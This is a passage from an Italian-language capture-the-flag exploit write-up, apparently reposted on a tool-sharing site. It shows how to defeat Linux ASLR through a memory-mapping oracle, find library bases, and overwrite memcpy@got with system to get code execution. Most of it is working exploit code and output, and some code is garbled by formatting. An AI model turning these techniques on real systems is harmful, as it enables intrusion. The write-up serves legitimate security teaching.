| 7fe2f8000000 | No
| 7fe2fc000000 | No
| 7fe300000000 | Sì
| 7fe304000000 | Sì
| 7fe308000000 | Sì
Sfruttando il passaggio da 7fe2.. a 7fe3.. possiamo scansionare la memoria con un passo di 0x100000000 = 4gb di memoria.

## 4.5 Sconfiggere finalmente l'ASLR 

Dato questo passo, possiamo scansionare da `start=0x7f0000000000` a `end=0x800000000000` con solo `end - start / size` = 256 query.```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

A questo punto, abbiamo leakAddr che è un indirizzo mappato come questo: 0x7fXX00000000, in questo caso, leakAddr = 0x7fe300000000.

Ora, se vogliamo seguire la tecnica di saelo, dovremmo fare una ricerca binaria dell'intervallo 0x7fXX00000000 - 0x7fXXffffffff, per trovare i limiti inferiore e superiore; il problema è che ci sono alcuni buchi in quell'intervallo, quindi la ricerca binaria fallisce molte volte.

Puoi verificare tu stesso con questo script:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
Quel piccolo spazio tra 0x00007f763c000000 e 0x00007f763ccaa000 manda a monte la ricerca binaria, ovviamente è comunque fattibile, ma ho trovato un modo più semplice.

### Osservazione

Vogliamo ottenere l'ultimo indirizzo mappato, perché è lì che vengono mappate le librerie.

Per esempio, date quelle mappature per le librerie:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

Possiamo cercare l'indirizzo 7fe3d6a5b000 - 0x1000 con questo trucco:

addressIndirizzo mappato?
0x7fe3f0000000No
0x7fe3e0000000No
0x7fe3d0000000Sì
0x7fe3df000000No
0x7fe3de000000No
0x7fe3dd000000No
0x7fe3dc000000No
0x7fe3db000000No
0x7fe3da000000No
0x7fe3d9000000No
0x7fe3d8000000No
0x7fe3d7000000No
0x7fe3d6000000Sì
0x7fe3d6f00000No
0x7fe3d6e00000No
0x7fe3d6d00000No
0x7fe3d6c00000No
0x7fe3d6b00000No
0x7fe3d6a00000Sì
0x7fe3d6af0000No
0x7fe3d6ae0000No
0x7fe3d6ad0000No
0x7fe3d6ac0000No
0x7fe3d6ab0000No
0x7fe3d6aa0000No
0x7fe3d6a90000No
0x7fe3d6a80000No
0x7fe3d6a70000No
0x7fe3d6a60000No
0x7fe3d6a50000Sì
0x7fe3d6a5f000No
0x7fe3d6a5e000No
0x7fe3d6a5d000No
0x7fe3d6a5c000No
0x7fe3d6a5b000No
0x7fe3d6a5a000Sì

lastMappedPage = 0x7fe3d6a5a000

Stiamo forzando mezzo byte alla volta, per uno scenario peggiore di 165 = 80 query.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 L'exploit

Alla fine, sappiamo tutto ciò che ci serve sui memory mapping, ora è solo questione di sfruttare una primitiva write-what-where per ottenere l'esecuzione di codice.

Per ottenere l'esecuzione di codice ho sovrascritto la voce `memcpy@got` di libkyle.so con `system@libc`.

### Ottenere la base di libkyle
Fortunatamente per noi, la base di libc e la base di libkyle.so si trovano a un offset costante rispetto a `lastMappedPage`; non sapevo che fosse così, quindi ho scritto un egghunter che cerca `\x7fELF` (header degli eseguibili ELF), che alla fine non si è rivelato utile.```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

Sovrascrivi memcpy@got di libkyle e ottieni RCE

Fortunatamente sovrascrivere memcpy@got con system è stato sufficiente per ottenere la flag e reclamare quella succulenta bounty :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 The flag!

Puoi trovare l'exploit [qui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

C'è anche una versione affidabile al 100% dell'exploit [qui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).

## 5. Conclusione

Spero che il writeup ti sia piaciuto, se qualcosa non era abbastanza chiaro non esitare a contattarmi [@nick0ve](https://twitter.com/nick0ve) :)
Scarica lo strumento